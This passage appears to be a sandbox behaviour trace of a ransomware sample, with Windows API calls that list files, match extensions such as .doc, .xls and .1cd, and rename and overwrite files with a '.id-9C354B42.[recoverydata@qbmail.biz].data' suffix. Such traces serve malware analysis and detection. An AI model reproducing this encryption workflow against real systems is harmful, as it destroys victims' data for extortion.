(lpString1=".ppt", lpString2=".mui") returned 1 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.202] lstrlenW (lpString=".zip") returned 4 [0074.202] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.202] lstrlenW (lpString=".rar") returned 4 [0074.202] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.202] lstrlenW (lpString=".bz2") returned 4 [0074.202] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.202] lstrlenW (lpString=".7z") returned 3 [0074.202] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.202] lstrlenW (lpString=".dbf") returned 4 [0074.202] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.202] lstrlenW (lpString=".1cd") returned 4 [0074.202] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.202] lstrlenW (lpString=".jpg") returned 4 [0074.202] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.203] lstrlenW (lpString=".doc") returned 4 [0074.203] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.203] lstrlenW (lpString=".docx") returned 5 [0074.203] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.203] lstrlenW (lpString=".pdf") returned 4 [0074.203] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.203] lstrlenW (lpString=".xls") returned 4 [0074.203] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.203] lstrlenW (lpString=".xlsx") returned 5 [0074.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.203] lstrlenW (lpString=".ppt") returned 4 [0074.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.203] lstrlenW (lpString=".zip") returned 4 [0074.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.203] lstrlenW (lpString=".rar") returned 4 [0074.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.203] lstrlenW (lpString=".bz2") returned 4 [0074.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.203] lstrlenW (lpString=".7z") returned 3 [0074.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.203] lstrlenW (lpString=".dbf") returned 4 [0074.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.204] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.204] lstrlenW (lpString=".1cd") returned 4 [0074.204] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.204] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.204] lstrlenW (lpString=".jpg") returned 4 [0074.204] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.204] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.204] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.204] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.204] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=87616) returned 1 [0074.204] CloseHandle (hObject=0x17c) returned 1 [0074.205] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0074.205] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.205] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.205] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.205] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.205] lstrlenW (lpString=".doc") returned 4 [0074.205] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.205] lstrlenW (lpString=".docx") returned 5 [0074.205] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.205] lstrlenW (lpString=".pdf") returned 4 [0074.205] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.205] lstrlenW (lpString=".xls") returned 4 [0074.205] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.205] lstrlenW (lpString=".xlsx") returned 5 [0074.205] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.205] lstrlenW (lpString=".ppt") returned 4 [0074.205] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.205] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString=".zip") returned 4 [0074.206] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.206] lstrlenW (lpString=".rar") returned 4 [0074.206] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.206] lstrlenW (lpString=".bz2") returned 4 [0074.206] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.206] lstrlenW (lpString=".7z") returned 3 [0074.206] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString=".dbf") returned 4 [0074.206] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString=".1cd") returned 4 [0074.206] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString=".jpg") returned 4 [0074.206] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.206] lstrlenW (lpString=".doc") returned 4 [0074.206] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.206] lstrlenW (lpString=".docx") returned 5 [0074.207] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.207] lstrlenW (lpString=".pdf") returned 4 [0074.207] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.207] lstrlenW (lpString=".xls") returned 4 [0074.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.207] lstrlenW (lpString=".xlsx") returned 5 [0074.207] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.207] lstrlenW (lpString=".ppt") returned 4 [0074.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.207] lstrlenW (lpString=".zip") returned 4 [0074.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.207] lstrlenW (lpString=".rar") returned 4 [0074.207] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.207] lstrlenW (lpString=".bz2") returned 4 [0074.207] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.207] lstrlenW (lpString=".7z") returned 3 [0074.207] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.207] lstrlenW (lpString=".dbf") returned 4 [0074.207] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.207] lstrlenW (lpString=".1cd") returned 4 [0074.208] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.208] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0074.208] lstrlenW (lpString=".jpg") returned 4 [0074.208] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.208] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.208] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.208] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.208] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=91712) returned 1 [0074.208] CloseHandle (hObject=0x17c) returned 1 [0074.208] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0074.209] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.209] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.209] lstrlenW (lpString=".doc") returned 4 [0074.209] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.209] lstrlenW (lpString=".docx") returned 5 [0074.209] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.209] lstrlenW (lpString=".pdf") returned 4 [0074.209] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.209] lstrlenW (lpString=".xls") returned 4 [0074.209] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.209] lstrlenW (lpString=".xlsx") returned 5 [0074.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.209] lstrlenW (lpString=".ppt") returned 4 [0074.209] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.209] lstrlenW (lpString=".zip") returned 4 [0074.210] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.210] lstrlenW (lpString=".rar") returned 4 [0074.210] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.210] lstrlenW (lpString=".bz2") returned 4 [0074.210] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.210] lstrlenW (lpString=".7z") returned 3 [0074.210] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.210] lstrlenW (lpString=".dbf") returned 4 [0074.210] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.210] lstrlenW (lpString=".1cd") returned 4 [0074.210] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.210] lstrlenW (lpString=".jpg") returned 4 [0074.210] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.210] lstrlenW (lpString=".doc") returned 4 [0074.210] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.210] lstrlenW (lpString=".docx") returned 5 [0074.210] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.211] lstrlenW (lpString=".pdf") returned 4 [0074.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.211] lstrlenW (lpString=".xls") returned 4 [0074.211] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.211] lstrlenW (lpString=".xlsx") returned 5 [0074.211] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.211] lstrlenW (lpString=".ppt") returned 4 [0074.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.211] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.211] lstrlenW (lpString=".zip") returned 4 [0074.211] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.211] lstrlenW (lpString=".rar") returned 4 [0074.211] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.211] lstrlenW (lpString=".bz2") returned 4 [0074.211] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.211] lstrlenW (lpString=".7z") returned 3 [0074.211] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.211] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.211] lstrlenW (lpString=".dbf") returned 4 [0074.211] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.211] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.212] lstrlenW (lpString=".1cd") returned 4 [0074.212] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.212] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0074.212] lstrlenW (lpString=".jpg") returned 4 [0074.212] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.212] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.212] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.212] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.212] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=94800) returned 1 [0074.213] CloseHandle (hObject=0x17c) returned 1 [0074.213] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0074.213] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.213] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.213] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0074.213] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0074.213] lstrlenW (lpString=".doc") returned 4 [0074.213] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.213] lstrlenW (lpString=".docx") returned 5 [0074.213] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.213] lstrlenW (lpString=".pdf") returned 4 [0074.213] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.213] lstrlenW (lpString=".xls") returned 4 [0074.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.213] lstrlenW (lpString=".xlsx") returned 5 [0074.214] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.214] lstrlenW (lpString=".ppt") returned 4 [0074.214] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.214] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0074.214] lstrlenW (lpString=".zip") returned 4 [0074.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.214] lstrlenW (lpString=".rar") returned 4 [0074.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.214] lstrlenW (lpString=".bz2") returned 4 [0074.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.214] lstrlenW (lpString=".7z") returned 3 [0074.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=85056) returned 1 [0074.218] CloseHandle (hObject=0x17c) returned 1 [0074.218] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0074.218] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.218] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=43600) returned 1 [0074.218] CloseHandle (hObject=0x17c) returned 1 [0074.219] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0074.219] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.219] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=90192) returned 1 [0074.219] CloseHandle (hObject=0x17c) returned 1 [0074.219] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0074.220] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.220] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.220] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=89152) returned 1 [0074.220] CloseHandle (hObject=0x17c) returned 1 [0074.220] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0074.220] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.221] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.221] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=3694080) returned 1 [0074.221] CloseHandle (hObject=0x17c) returned 1 [0074.221] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0074.221] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.221] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0075.055] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0075.283] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0075.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0075.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0075.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.284] ReadFile (in: hFile=0x1b0, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.372] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.372] ReadFile (in: hFile=0x1b0, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.404] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.404] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.404] ReadFile (in: hFile=0x1b0, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.538] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.538] WriteFile (in: hFile=0x1b0, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0075.675] SetEndOfFile (hFile=0x1b0) returned 1 [0075.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f33090 [0076.168] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.168] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f33090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33090*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.170] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.170] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f33090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33090*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.171] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.171] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f33090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33090*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f33090 | out: hHeap=0x5b0000) returned 1 [0076.182] CloseHandle (hObject=0x1b0) returned 1 [0078.117] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0078.118] lstrlenW (lpString="C:\\MSOCache\\All 